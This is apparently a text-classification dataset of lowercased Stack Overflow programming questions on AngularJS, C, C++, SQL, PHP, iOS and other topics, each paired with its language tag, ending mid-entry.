using ui.router instead of ngroute  i m trying to use ui.router instead of ngroute  and i can t figure out what is the problem.    in my console i get this :   <pre><code>angular.js:38uncaught error: [$injector:modulerr] http://errors.angularjs.org/1.4.5/$injector/modulerr p0=capvaluerecruitapp&amp;…ogleapis.com%2fajax%2flibs%2fangularjs%2f1.4.5%2fangular.min.js%3a19%3a381) </code></pre>  <h1>app.js</h1>  <pre><code>var capvaluerecruitapp = angular.module( capvaluerecruitapp   [ ui.router ]);  capvaluerecruitapp.config(function($stateprovider  $urlrouterprovider) {   $stateprovider     .state( home   {       url:  /home         templateurl:  views/home.html      })     .state( about   {       url:  /about         templateurl:  views/about.html      });   $urlrouterprovider.otherwise( /home ); }); </code></pre>  <h1>index.html</h1>  <pre><code>&lt;body ng-app= capvaluerecruitapp  class= theme-style-1 &gt; &lt;!--wrapper start--&gt; &lt;div id= wrapper &gt;   &lt;!--header start--&gt;   &lt;header id= header  class= header-2 header-3 &gt;     &lt;div class= container &gt;       &lt;!--navigation start--&gt;       &lt;div class= navigation-col &gt;         &lt;nav class= navbar navbar-inverse &gt;           &lt;div class= navbar-header &gt;             &lt;button type= button  class= navbar-toggle collapsed  data-toggle= collapse  data-target= #navbar  aria-expanded= false  aria-controls= navbar &gt; &lt;span class= sr-only &gt;toggle navigation&lt;/span&gt; &lt;span class= icon-bar &gt;&lt;/span&gt; &lt;span class= icon-bar &gt;&lt;/span&gt; &lt;span class= icon-bar &gt;&lt;/span&gt; &lt;/button&gt;           &lt;/div&gt;           &lt;div id= navbar  class= collapse navbar-collapse &gt;             &lt;ul class= nav navbar-nav  id= nav &gt;               &lt;li&gt;&lt;a href= #/home  data-path= /home &gt;home&lt;/a&gt;&lt;/li&gt;               .... some code               &lt;li&gt;&lt;a href= #/about  data-path= /about &gt;contact&lt;/a&gt;&lt;/li&gt;    ...some code   &lt;div id= main &gt;&lt;div ui-view&gt;&lt;/div&gt;&lt;/div&gt;   ...some code &lt;!--jquery min js--&gt; &lt;script src= ../scripts/js/jquery-1.11.3.min.js &gt;&lt;/script&gt; &lt;!--bootstrap js--&gt; &lt;script src= ../scripts/js/bootstrap.min.js &gt;&lt;/script&gt; &lt;!-- angularjs --&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.min.js &gt;&lt;/script&gt; &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.15/angular-ui-router.js &gt;&lt;/script&gt; &lt;/body&gt; </code></pre>   and in my views folder i have <code>about.html</code> and <code>home.html</code>.    when i googled about it i found this on similar problem in stackoverflow :   <blockquote>    you are trying to use $stateprovider and $urlrouterprovider which are   coming from  ui.router   and you didn t inject the dependency    ui.router .  </blockquote>,angularjs
how to put data write break point in visual studio 2008  i am debugging piece of code in visual studio 2008   while running the programe throws a bufferover run   i want to test the variables using data write breakpoints   can some one tell me how to put data write breakpoints on variables,c++
a span can be a div  but a div can t be a span  i m wondering if that (my title) is ever incorrect  other than for html validation.  i ve recently had to start supporting ie7 again (i ve been lucky enough to not have to for the past 3 years or so) and the fact that div s can t be <code>inline-block</code> has gotten me about 10 times in the past month due to the fact that i make everything a <code>div</code> by default and then go back and stylize elements.  so i m considering making <strong><em>everything</em></strong> a span so that if i later go back and make something inline-block i m not trying to figure out why it s not working in ie7.    so my question -- is there ever a case  in any browser (ie7+  ff  webkit  opera)  that anyone knows of where a span can not act like a div   i m not concerned about the html not validating due to having block elements inside inline ones.,css
why does passing an unsigned int to performselector lose bits   i am trying to pass a hex value as an unsigned int to a method using a dynamic link. the value i pass as a parameter is getting corrupted somehow. what is happening    <pre><code>- (void)callperformselector {     nsnumber *argument = [nsnumber numberwithunsignedint:(unsigned int)0xffffffff];     sel selector = nsselectorfromstring(@ testperformselector: );     nslog(@ testperformselector object %@   argument);    [self performselector:selector withobject:argument]; }  - (void)testperformselector:(unsigned int) arg1 {     nslog(@ testperformselector unsigned int %u   arg1);     nslog(@ testperformselector hex %x   arg1); } </code></pre>   output is:   <pre><code>testperformselector object 4294967295 testperformselector unsigned int 4294967283 testperformselector hex fffffff3 </code></pre>,objective-c
how to reset all the values in c++ during a do-while loop   when the user press y to continue  how do i clear all the previous values for the variables       right now  this code keep stacking all the values when user press y. what should i do to clear all the variables  values from previous     <pre><code>double monthlypayment; //get the monthly payment from user double balance; // formula to calculate the loan. double interestrate; // get the interest rate from user double interestpaid; double total_amount_of_interest_paid; double initialbala`enter code here`nce; // get the initial cost of the item/loan. char continuemessage; // to continue the program. int month = 1; cout.setf(ios::fixed);  // 2 decimal places for decimal values. cout.setf(ios::showpoint); cout.precision(2);  do{  cout &lt;&lt;  enter the amount of the loan:  ; //getting the amount of the loan from user.   //error checking for balance         if(!(cin &gt;&gt; initialbalance) || initialbalance&lt;= 0.0)     {         do         {             cin.clear(); //reset the failed state             cin.ignore(1000   \n ); //discards up to 1000 characters or until it reaches a new line.             cout &lt;&lt;  please enter positive numbers only:  ;         }while(!(cin &gt;&gt; initialbalance) || initialbalance &lt;= 0.0);     }    cout &lt;&lt;  enter the interest rate per month in percentage(%):  ; //getting interest rate from user.   //error checking for interest rate. if the value is less than 1 means user entered the value in decimal form. if (!(cin &gt;&gt; interestrate) || interestrate &lt; 1.0)     {       do         {             cin.clear();             cin.ignore(1000   \n );             cout &lt;&lt;  please make sure you enter postive numbers and in percentage form:   ;         }while(!(cin &gt;&gt; interestrate )|| interestrate &lt;=0.0);     }  cout &lt;&lt;  please enter your monthly payment:  ;// getting monthly payment from user.  //error checking for monthly payment. value entered must be positive numbers. if(!(cin &gt;&gt; monthlypayment) || monthlypayment &lt; 0.0)     {         do             {                 cin.clear();                 cin.ignore(1000   \n );                 cout &lt;&lt;  please enter positive numbers only:  ;             }while(!(cin &gt;&gt; monthlypayment) || monthlypayment &lt;0.0);     }        balance = initialbalance;     interestrate = interestrate/100;     balance = balance - (monthlypayment - (balance * (interestrate)));     cout &lt;&lt;  your remaining debt on month 1 is: $ &lt;&lt;balance&lt;&lt;endl;      while(balance &gt; 0)         {             if (balance &lt; monthlypayment){                 balance = balance - balance; // when monthly payment more than balance means the debt is fully settled.             }else{                 balance = balance - (monthlypayment - (balance * (interestrate)));             }             month++;             cout &lt;&lt;  your remaining debt on month  &lt;&lt;month&lt;&lt;  is: $  &lt;&lt; balance &lt;&lt;endl;          }         cout &lt;&lt;  number of months taken to clear the debt:  &lt;&lt;month&lt;&lt;endl;          total_amount_of_interest_paid = (monthlypayment*month) - initialbalance;         cout &lt;&lt;  total amount of interest paid over the life of the loan:  &lt;&lt;total_amount_of_interest_paid;          //ask the use whether wants to continue the program or not.         cout &lt;&lt;  \n\npress  y  or  y  to continue (other characters to quit):  ;         cin &gt;&gt; continuemessage;  }while(continuemessage ==  y  || continuemessage == y );           return 0; </code></pre>   },c++
variable is not defined  error in python  i have a problem with programming  reversi  game in python. i want the size of the game board to be optional  so the user can request for example a 4x4 or 10x10 (more than that isn t nescesary). but as i tried to code a:,python
list to c# controller from angular  i m trying to send this list to a c# mvc controller method   <pre><code>        getlist: function (accesslist  amount)          {             return $http.get( /theme/getlist                {                 params:                  {                     accesslist: accesslist                      amount: amount                 }             })         }  </code></pre>   the controller looks like this   <pre><code>public async task&lt;actionresult&gt; getlist(ienumerable&lt;viewmodel&gt; accesslist  double amount) </code></pre>   the list doesn t is transformed to a string  and it don t hit the controller method.     the works with $resource but not with $http.get    what is wrong with that  can i do this  i need the list to create another list.,angularjs
problem in recordsetting of avaudiorecord in iphone sdk  here i am getting the exception when i am setting the recordsetting in avaudiorecord.   <pre><code>the code i written is as: </code></pre>   i created a button named record and in the action i used the code as... i imported the audio file sound.caf   <pre><code>     [[avaudiosession sharedinstance] setcategory: avaudiosessioncategoryrecord error: nil];      nsdictionary *recordsettings; =[[nsdictionary alloc] initwithobjectsandkeys:       [nsnumber numberwithfloat: 44100.0]  avsampleratekey        [nsnumber numberwithint: kaudioformatapplelossless]  avformatidkey        [nsnumber numberwithint: 1]  avnumberofchannelskey        [nsnumber numberwithint: avaudioqualitymax]        avencoderaudioqualitykey nil];        avaudiorecorder *newrecorder =[[avaudiorecorder alloc] initwithurl: soundfileurl settings: recordsettings error: nil];      [recordsettings release];      self.soundrecorder = newrecorder;      [newrecorder release]; </code></pre>   anyone s help will be much appreciated.    thank you  monish calapatapu.,objective-c
cannot remove am from datetime  i need to get the pc datetime without am or pm  so i did:   <pre><code>var pcdate = datetime.parseexact(datetime.now.tostring( dd/mm/yyyy hh:mm:ss )  dd/mm/yyyy hh:mm:ss   cultureinfo.invariantculture); </code></pre>   but i get: 3/13/2018 2:51:39 am    i need to get this format: 13/03/2018 14:52,c#
what does the python code means  <pre><code> import asyncore  import socket  time    time1970 = 2208988800l   class timechannel(asyncore.dispatcher):      def handle_write(self):         t = int(time.time()) + time1970         t = chr(t&gt;&gt;24&amp;255) + chr(t&gt;&gt;16&amp;255) + chr(t&gt;&gt;8&amp;255) + chr(t&amp;255)         self.send(t)         self.close() </code></pre>   i can t understand what this line means:   <pre><code>t = chr(t&gt;&gt;24&amp;255) + chr(t&gt;&gt;16&amp;255) + chr(t&gt;&gt;8&amp;255) + chr(t&amp;255) </code></pre>,python
my videos are playing onluy in portrait mode>how to play them in landscape mode also   i have built a android based live tv and vod app   .    my videos are playing only in portrait mode>how to play them in landscape mode also,android
malloc producing sigtrap error <pre><code>char *word = malloc(sizeof(char) * (pos + 1)); </code></pre>   is producing an sigtrap error. <code>pos</code> is an <code>int</code>.     how do i know this is the line  process of elimination with break points.    i searched and did not find any information on this function producing this error. what should i do,c
how can i insert multiple split strings in single insert query <pre><code>  declare @aps nvarchar(1000)= 1 1 1.79103540163304 1.79103540163304             @cluster nvarchar(1000)= 0150 0019 0150 0019             @style nvarchar(1000)= 696707-018 696707-018 696707-017 696707-017        create table #temptable (       id int identity (1  1) not null         stylecolor varchar (500) not null         apsdev varchar (250)  null        clusterid varchar(1000) null      )  </code></pre>   here i would like to insert    <pre><code>  insert into #temptable  (stylecolor  clusterid  apsdev)   select  item  from  [&lt;table name&gt;]. dbo.splitstring(@style    )    select  item  from  [&lt;table name&gt;].dbo.splitstring(@cluster    )   select  item  from  [&lt;table name&gt;]. dbo.splitstring(@aps    ) </code></pre>   getting error:   <blockquote>    the select list for the insert statement contains fewer items than the insert       list. the number of select values must match the number of insert columns.  </blockquote>   output result: should be looks like this   <pre><code>  stylecolor  clusterid      apsdev   696707-018    0150            1   696707-018    0019             1   696707-017    0150             1.79103540163304   696707-017    0019             1.79103540163304 </code></pre>,sql
required field validator of the textbox  i have one drop down and two text boxes for the start date and for the end date .the required field validator for the end date i m enabling depending on the value of the drop down selected.     all of this validation part i m doing inside the client side using the <code>validatorenable()</code> built in function of the javascript which is calling due to <code>onchange()</code> function of the drop down.    all of this is working fine on the change of the value of the drop down first time. but when i m doing the post back and during this there is a failure of some client side validation the required field validator of the end date text box is not retained.,asp.net
getting coordinates of a div tag  enter code hereif you look at this code it gets the left coordinate of the div tag - <a href= http://jsfiddle.net/jupa4/3/  rel= nofollow >http://jsfiddle.net/jupa4/3/</a> which is pretty much what i need.   <pre><code>$(function () {     var position = $( #red11 ).offset();     $( #amount ).val(position.left); }); </code></pre>   (i have asked on the hype forums and have had no answer for 3 days now)   <blockquote>    console error is (uncaught typeerror: cannot read property  left  of   undefined) not sure why as i can interact with the element!  </blockquote>   the black dot element is within a div tag called <code>#black</code> for some reason the code posted above does not work with the <code>hype</code> file! i know i can interact with it and i have added a demonstration to the page click hide / show to interact with the dot.    i am not the best with javascript so if anybody has any ideas then the help would be appreciated.    the end result of this is that the coordinates for both left and top are updated to a text input so i can place them into a database.,jquery
how can i execute a php command line script from a web call <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/10431938/php-exec-function-and-different-hosts >php exec() function and different hosts</a>    </blockquote>     i have a web app that when save button is clicked it makes an ajax call to save.php. i want to be able to make a command line call for a command line only php script to run from inside of the save.php file.     ex.   <pre><code>some code to make a db call and update db  exec( pathtophp /path/to/file/refresh.php ); </code></pre>   i have tried this and it does not work.    does anyone have a good solution     thanks,php
read 8 bit or 16 or 32 bit from address in c language <pre><code>#include &lt;stdio.h&gt; #define read8(address)  \             (*((volatile long *)(address))) int main() {    int array[2];     long out_value;    array[0] = 55;    array[1] = 66;    out_value = read8(&amp;array[0]);    printf( %d\n   out_value); } </code></pre>   i am trying to read 8 bit data  16 bit data and 32 bit data and store in out_value variable. i am changing reading size of data type by changing the data type in macro as int / long but every time out put is printed as 55 only.    i want to print as 55 and also 5566.,c
what s the best pratice to pass data to javascript from server side   i knew exposing web service is a obvious option  is there any other quick method,javascript
adding multiple buttons to a cart using php  i need two buttons to show up after a product is added to a cart on an e commerce site.here is how the code reads now:   <pre><code>// output success messages if ( get_option(  woocommerce_cart_redirect_after_add  ) ==  yes  ) :     $return_to  = apply_filters(  woocommerce_continue_shopping_redirect   wp_get_referer()   wp_get_referer() : home_url() );     $message    = sprintf( &lt;a href= %s  class= button wc-forward &gt;%s&lt;/a&gt; %s   $return_to  __(  continue shopping    woocommerce  )  $added_text ); else :     $message    = sprintf( &lt;a href= %s  class= button wc-forward &gt;%s&lt;/a&gt; %s   get_permalink( wc_get_page_id(  cart  ) )  __(  view cart    woocommerce  )  $added_text ); endif; wc_add_notice( apply_filters(  wc_add_to_cart_message   $message  $product_id ) ); } </code></pre>   i want both the  continue shopping  and view cart buttons to show up.,php
prevent page from going to the top when clicking a link  how can i prevent the page from  jumping up  each time i click a  link  e.g i have a link somewhere in the middle of the page and when i click it the page jumps up to the top.,html
how can i open an external program in javaframe window   how can i open an external program like word or notepad in a <code>javaframe</code> window  and not in an external window,java
sql select all if table exists  i need to get all data from the table  if the table exists.    i tried this:   <pre><code>if (exists (select *  from information_schema.tables  where table_name = n 2000064 )) </code></pre>   but i do not get anything.    how can i get all data from a table if the table exists,sql
could you tell any function from standard library or anwhere else  which finds unique translations for input word  for instance   i have a list of  translations  like (<code>letter[ . ]= e </code>;) and i need to get translation by using this list .,c++
html select option auto time <pre><code>&lt;select id= day  name= day &gt;   &lt;option selected= selected  value= today &gt;to day&lt;/option&gt;   &lt;option value= tomorrow &gt;tomorrow&lt;/option&gt;   &lt;option value= december19 &gt;december 19&lt;/option&gt; &lt;/select&gt; </code></pre>   how to setup the auto time for december so then i don t have to do manually change it every day     what i mean automate its like after today then tomorrow gonna show december 20.,html
how to view discontinuous records of sql query   after a sql query  say i got 50 records. i want to view the records 5-11  17-36 and 41-46 say. how to do this  as the range is discontinuous   limit  between etc are not working.,sql
get noun adj adv with php  how to get english other states when i enter 1 state.    i mean    i have a noun and i want to get other adjustment.    <pre><code>$word_list=get_list( play   n ); </code></pre>   and then i want to get v   adj  adv  etc. ..,php
how do i compile for the device without a certificate   i may just be looking in all the wrong places  but is there no way to compile a cocoa touch application for arm without paying for a developer account and certificate     <strong>edit:</strong> to clarify: i am trying to build for a jailbroken device. i simply want to test code on-device without paying for anything.,iphone
mysql: inserting error  mysql problem inserting certain type of text     when i try to insert this for example:   <pre><code>insert into `attacks_key`    (`event_key`  `variable`  `value`  `impact`  `tags`)     values    ( 111    request     mysql_real_escape     222    xss  csrf  id  rfe  lfi ); </code></pre>   its inserted but when i try to insert this :   <pre><code>insert into `attacks_key`   (`event_key`  `variable`  `value`  `impact`  `tags`)     values   ( 111    request    mysql_real_escape_string($_post[ username ]);     222    xss  csrf  id  rfe  lfi ); </code></pre>   mysql display this message :    #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  username ]);     222    xss  csrf  id  rfe  lfi )  at line 1    and this is my php code    <pre><code>$user= root ; $password= * ; $database= * ; mysql_connect(localhost $user $password); @mysql_select_db($database) or die(  unable to select database ); $sql =  select `key_id` from `event` order by `key_id` desc limit 1 ; $result =mysql_query($sql); $row = mysql_fetch_assoc($result); $eventkey= $row[ key_id ]; $query= insert into `phplogs`.`attacks_key` (`event_key`  `variable`  `value`  `impact`  `tags`) values ( $eventkey    $getname    $getvalue    $getimpec    $gettags ); ; mysql_query($query); mysql_close(); </code></pre>   and the input  mysql_real_escape_string($_post[ username ]);  from the user     can someone help    thanks,mysql
clarification with using std::  std::cout  can someone clarify what this means at the top of the file in c++    <pre><code>using std::cout; </code></pre>   thanks,c++
possible to set html table to be max of percentage or a specific number of pixels   i want the columns of my html table to be the max of a certain percentage of the screen or a minimum number of pixels  so if the user has a 1024x768 display the table columns won t be all scrunched up ( and may require some scrolling ) and if a user has a 1920x1600 screen they can get more information.  is this possible using the html table construct,html
set method and incrementing  when setting new section i need to keep track of the counters. for example if m1 is brass and i use setsection(strings); i want it to brass-- and strings++ but i m not sure how to do it with if statments  and im not sure if getsection()tostring() would get me the original section or not   <pre><code>/**this function sets a musician s orchestra section.   @param section  is a symphonysection indicating the musician s orchestra section.*/   public void setsection(symphonysection section) {     this.section = section;      if (getsection().tostring().equals(  strings  )){         strings--;     }     else if (getsection().tostring().equals(  brass  )){         brass--;     }     else if (getsection().tostring().equals(  conductor  )){         conductor--;     }     else if (getsection().tostring().equals(  percussion  )){         percussion--;     }     else if (getsection().tostring().equals(  woodwinds  )){         woodwinds--;     }      if (section.tostring().equals(  strings  )){         strings++;     }     else if (section.tostring().equals(  brass  )){         brass ++;     }     else if (section.tostring().equals(  conductor  )){         conductor ++;     }     else if (section.tostring().equals(  percussion  )){         percussion ++;     }     else if (section.tostring().equals(  woodwinds  )){         woodwinds ++;     }  } </code></pre>,java
include python library at path   is there a way to import a python library at a certain path  for example     <pre><code>import os  sys  etc import  /path/to/lib.py  </code></pre>   i d like to include a library with a python file  and other than making them install the library  this is the best way i can think of.,python
detail disclosure indicator on uibutton  is there a simple way to place a detail disclosure icon on a uibutton  i m using a navigation controller and i want a button press to push a new view on the stack  so i thought a detail disclosure icon would be appropriate  but i haven t found a straightforward way to do that yet.    what i have in mind is something like the  when timer ends  button in the timer subview of the clock app.,iphone
ios stackpanel equivalent  in wp7\silverlight\wpf you have a stackpanel container that will stack its contained items in a specific and predefined orinetation (horizontally\vertically).    is there an equivalent container for ios,ios
python : how to store a value generated in a function for the second call of that function  i want to create a random number generation code that inputs  count  number which is that how many times it is called in the program. what i want to do is for the even number of calls of the function i want to create 2 random numbers which are  y1  y2  however <strong>i want to output y1 only and</strong> <strong>save y2 for the next call of the function.</strong> so at the odd number of calls the function will directly output y2 of the previous call. thanks for help. the code so far:   <pre><code>import random import math  def gaussianrandom ( count):  count += 1  if count%2 == 0:   while (1):    x1 = random.uniform(-1  1)    x2 = random.uniform(-1  1)    r = x1**2 + x2**2         if (r &lt; 1):     break    y1 = x1 * math.sqrt( (-2 * math.log(r)) / r )   y2 = x2 * math.sqrt( (-2 * math.log(r)) / r )  return y1 </code></pre>,python
how to divide two different sql query to get a single count  when one is giving me count x and other is y  i am having this two query one is giving me count of number of defects :   <pre><code>select t1.project_name         t1.request_type         count( distinct t1.reference_id) as reference_id from ridw.vw_request t1     where t1.project_id = 4     and t1.request_type =  defect     and t1.issoftdeleted = 0   and (t1.request_id &lt;&gt; -1 and t1.request_id is not null) group by t1.project_name           t1.request_type </code></pre>   and other is giving me count for total number of test cases:   <pre><code>select t2.project_name         count( distinct t2.reference_id) as reference_id from ridw.vw_testcase t2 where t2.project_id = 6    and t2.issoftdeleted = 0   and (t2.testcase_id &lt;&gt; -1 and t2.testcase_id is not null) group by t2.project_name </code></pre>   i want a combine query which will give me count= defects/total test cases,sql
how to call method of a unknown object  i want to do something different with java reflection. the program i written to add global listeners to java components when applets are opened from browser. an event fired and i get event source object. here i don t know the actual class name that object referring to.    <pre><code>if(object.getclass.getname().contains( oracle.ewt.laf.basic.basictabbarui$menu )) {    // here we can invoke methods fields etc using reflection } </code></pre>   i can call the methods of basictabbarui$menu class with reflection.     suppose now i have the following lines with me in the above if block   <pre><code>lwmenuitem menuitem = (lwmenuitem)object; menuitem.getlabel()); </code></pre>   i don t want to specify lwmenuitem class name   instead i want to call its method getlabel(). if we know the class name   we can do as above. but how can we do same with reflection. how can we do casting in reflection,java
enable a field if either of three checkboxes are checked c#  i have 3 checkboxes and a textbox. if any 1 of those checkboxes is checked then i need the textbox to be enabled  else keep disbaled. i need help with my syntax in c#     here is my code:    <pre><code>if ((checkbox1=checked) || (checkbox2=checked) || (checkbox3=checked)) {     textbox.isenabled = true; } else {textbox.isenabled = false;} </code></pre>,c#
viewdidload is not called the second time i instantiate controller from storyboard in ios 5  i have a controller with identifier quotesviewcontroller in storyboard. when i start application i instantiate it and set it as a rootcontroller with:   <pre><code>self.window.rootcontroler = [storyboard instantiateviewcontrollerwithidentifier:@ quotesviewcontroller ]; </code></pre>   after pressing button i switch it to another controller:   <pre><code>self.window.rootcontroler = [storyboard instantiateviewcontrollerwithidentifier:@ browseviewcontroller ]; </code></pre>   viewdidload is called  everything is ok. when i switch to another controller again viewdidload is called etc.    after pressing another button i switch back to first controler (fresh instance) with the same line of code before. the problem is that this time viewdidload is not called ( ! !) instead it goes straight to viewwillappear and it s already too late (i have a lot of good stuff in viewdidload and it has to stay there)    what could cause this effect  why this particular controller could be different than others  it is initial controller in storyboard but i don t think it is teh cause of strange behaviour,ios
use select to have two records (rows) in result  table  in mysql  in mysql we can do   <pre><code>select  nathan  as name </code></pre>   to have a result set with one record:<br>    <b>name</b><br> nathan <br><br> but how could i have the result table to have multiple records inside so that the result table would be like:    <b>name</b><br> nathan<br> josh<br> hao<br><br>    ps. the records does not exist in database and also won t exist in the database after running the query.    thank you for helping,mysql
"how to make a function that makes an array   i am trying to make a function that generates an array of numbers within a certain range. a very basic question but i couldn t find an explanation... i tried this    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var newarray = [];
 function makearrey(start  last) {
  var length = last - start;
  for(var i = 0; i &lt;= length; i++) {
   newarray[i] = start + i;
  }
  return newarray;
 }
 makearrey(1  100);
 alert(newarray[4]); //4 is a random number to see if it works  it dont work</code></pre>
 </div>
 </div>",javascript
specifically  what s dangerous about casting the result of malloc   now before people start marking this a dup  i ve read all the following  none of which provide the answer i m looking for:   <ol> <li><a href= http://c-faq.com/malloc/mallocnocast.html  rel= noreferrer >c faq: what s wrong with casting malloc s return value </a></li> <li><a href= https://stackoverflow.com/questions/953112/should-i-explicitly-cast-mallocs-return-value >so: should i explicitly cast malloc()’s return value </a></li> <li><a href= https://stackoverflow.com/questions/108768/needless-pointer-casts-in-c >so: needless pointer-casts in c</a></li> <li><a href= https://stackoverflow.com/questions/605845/do-i-cast-the-result-of-malloc >so: do i cast the result of malloc </a></li> </ol>   both the c faq and many answers to the above questions cite a mysterious error that casting <code>malloc</code> s return value can hide; however  none of them give a specific example of such an error in practice.  now pay attention that i said <strong>error</strong>  not <strong>warning</strong>.    now given the following code:   <pre><code>#include &lt;string.h&gt; #include &lt;stdio.h&gt; // #include &lt;stdlib.h&gt;  int main(int argc  char** argv) {      char * p = /*(char*)*/malloc(10);     strcpy(p   hello );     printf( %s\n   p);      return 0; } </code></pre>   compiling the above code with gcc 4.2  with and without the cast gives the same warnings  and the program executes properly and provides the same results in both cases.   <pre><code>anon@anon:~/$ gcc -wextra nostdlib_malloc.c -o nostdlib_malloc nostdlib_malloc.c: in function ‘main’: nostdlib_malloc.c:7: warning: incompatible implicit declaration of built-in function ‘malloc’ anon@anon:~/$ ./nostdlib_malloc  hello </code></pre>   <strong>so can anyone give a specific code example of a compile or runtime error that could occur because of casting <code>malloc</code> s return value  or is this just an urban legend </strong>    <strong>edit</strong> i ve come across two well written arguments regarding this issue:   <ol> <li>in favor of casting: cert advisory: <a href= https://www.securecoding.cert.org/confluence/display/c/mem02-c.+immediately+cast+the+result+of+a+memory+allocation+function+call+into+a+pointer+to+the+allocated+type  rel= noreferrer >immediately cast the result of a memory allocation function call into a pointer to the allocated type</a></li> <li><a href= http://www.cpax.org.uk/prg/writings/casting.php  rel= noreferrer >against casting</a>  (404 error as of 2012-02-14: use the <a href= http://web.archive.org/web/20100127165350/http://www.cpax.org.uk/prg/writings/casting.php  rel= noreferrer >internet archive wayback machine</a> copy from 2010-01-27.{2016-03-18: page cannot be crawled or displayed due to robots.txt. })</li> </ol>,c
how to check whether the question and password in asp.net membership is correct or not without using password  i am having an asp.net membership i need to verify the user question and answer.    i dont need to use password because its hashed we cannot validate it    membershipuser msuser = membership.getuser( rasel );    thanks  lalithambigai,asp.net
why doesnt my css background load   i dont know why it doesnt load but here is the code.   <pre><code>body {     background-image: url(back.jpg);     box-sizing: border-box;     outline: none;  } </code></pre>   no idea why it isnt working. please help.,css
angular.js function not loading in directive  i am creating a directive in angular and i am trying understand why the function link is not loading  if i insert a <code>console.log( i am working );</code> before the function link i will able to see the message in my console.    but if i insert a console log inside link function this not load in my page  any ideas what is happenning  why i cannot get the <code>console.log</code> message in my function link    <pre><code>angular.module( components ).directive( slider   [    jquery     function slider($) {      use strict ;      var       scope = {}; console.log( i am working );       function link($scope  $element) {       console.log( function link is loading );             $( .slider ).slick({   centermode: false    infinite: false    centerpadding:  2px     slidestoshow: 6    speed: 200    index: 2     variablewidth: true    responsive: [{     breakpoint: 768      settings: {       arrows: false        centermode: true        centerpadding:  40px         slidestoshow: 3     }   }  {     breakpoint: 480      settings: {       arrows: false        centermode: true        centerpadding:  40px         slidestoshow: 1     }   }] });  }      return {       restrict:  a         scope: scope        templateurl:  app/components/slider/slider.html         link: link     };   } ]); </code></pre>,angularjs
what would you like to see in a generic tostring function   lets say you have a generic function called  safetostring . the purpose is to be able to pass anything in and always get back a sane response without any exceptions. how would you want it to respond to these inputs    <ul> <li>null -> null or string.empty</li> <li>dbnull.value -> null  string.empty  or some text like   </li> <li>nullable containing a null -> null  string.empty  or some text like   </li> <li>fsharpoption containing none  -> null  string.empty  or  none </li> <li>fsharpoption containing some(5)->  5  or  some(5) </li> </ul>,.net
how to hide asp.net website source code after deployment  am using visual studio 2012 i cant hide asp.net website  source code . please support me.    am try to see some tutorials those tutorials are for project not for website.,asp.net
unable to call an objective c method from a c function  i am using mvc architecture for a gui application. the model class has some c functions. one of the c functions calls some methods of objective-c class. i call those methods using an object of that class. the strange thing happening is that methods previously to the an xyz method are called perfectly but when that xyz method is called  that method and the methods after it aren t getting executed. i don t get any errors. so can t figure out what exactly is happening. any ideas as to what might be the reason for this,objective-c
reorder keys after deleting from mysql table  i am working on a project where the application has an ordered set of fields. additionally there is the ability to delete one of the fields however  if you delete a row it doesn t reorder based on what was deleted  eg. <code>1  2  4  5  6</code>     is there a way that i can reorder the list based on the above field to give me <code>1  2  3  4  5</code>,mysql
what is the name of this type of control and how can i implement one   this is kind of out there  but i have no idea what this type of control is even called  so i can t look up any examples on how to implement it.    the control has two text areas side by side with arrows in between them. if a user selects a value or multiple values in one text area and then clicks the arrow that points to the other text area  the selected values will jump over to the other text area and be removed from the initial text area.     what is this called,html
control.value vs x=control.value performance  in case we have to use a value inside a loop e.g.:   <pre><code>for n=0 to 10000     if datagridview1(0 n).value = datagridview1(1 0).value then ... next </code></pre>   is there any performance issue instead of using   <pre><code>dim x=datagridview1(1 0).value for n=0 to 10000     if datagridview1(0 n)=x then ... next </code></pre>,.net
ng-click not calling my controller function  i ve read lot of question with same text but none helped me  so i ask a new one.    i have a ng-app  ng-controller.   <pre><code>&lt;div ng-app= mainapp &gt; &lt;div ng-init= period= .$_request[ period ].   ng-controller= debtcontroller &gt; </code></pre>   then  some lines bellow  define them.   <pre><code>&lt;script type= text/javascript &gt;     var app = angular.module( mainapp   []);                                        app.controller( debtcontroller   function(){             opendebt = function(period){                 console.log(period);             }     }); &lt;/script&gt; </code></pre>   and last but not least  a ng-click that calls the function defined.   <pre><code>&lt;a href= #  ng-click= opendebt( {{period}} )  /&gt;+&lt;/a&gt; </code></pre>   so  if i click the  +  with the ng-click  nothing happens. but if i check the html there  and copy the text inside the ng-click  and then paste it in the console  it works. why the function is not being called     anyone got any ideas,angularjs
looking to make spreadsheet into applet  widget  or api  i have two similar but different projects. both i would like to take something i created as an excel spreadsheet and make into something i can embed in a website. i am mostly asking what language would be best  any resources for learning how that language  or any insights. i will post the exact nature of the projects below just in case there is any relevance. thanks!    for the first project  i have a spreadsheet where a i can insert values into a1 and a2 and get a result in a3. this is based on many formulas. i would like to make this into something i can put online so the user can only see three values and not the formulas.  for the second project i have a large spread sheet that is 1000x1000. each row and column corresponds to a name. right now once again i can put a name in a1 a name in a2 and get the value in a3. i would like to make this into something i can put online.,html
android hide tablayout when stickylistheaderslistview scroll  i have stickylistheaderslistview in android in some fragment    and i display this list into tab layout   my issue that i need to hide tab layout when list is scroll down and show tab layout when scrolled up  i tried this but its not working when scrolled up     this is tab layout    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      xmlns:app= http://schemas.android.com/apk/res-auto &gt;     &lt;android.support.design.widget.collapsingtoolbarlayout         android:layout_width= match_parent          android:layout_height= wrap_content          android:orientation= horizontal          app:layout_scrollflags= scroll|enteralways &gt;          &lt;android.support.design.widget.tablayout             android:id= @+id/tabs              android:layout_width= match_parent              android:layout_height= wrap_content              android:background= @color/blue              app:tabindicatorcolor= @color/yallow              app:tabmode= fixed              android:layout_gravity= center              app:layout_scrollflags= scroll|enteralways               app:tabtextcolor= @color/white              app:tabgravity= fill              style= @style/customtabtexstyle              app:tabselectedtextcolor= @color/yallow  /&gt;      &lt;/android.support.design.widget.collapsingtoolbarlayout&gt;     &lt;android.support.v4.view.viewpager         android:id= @+id/pager          android:layout_width= match_parent          android:layout_height= 0dp          android:layout_weight= 1  /&gt;  &lt;/linearlayout&gt; </code></pre>   and 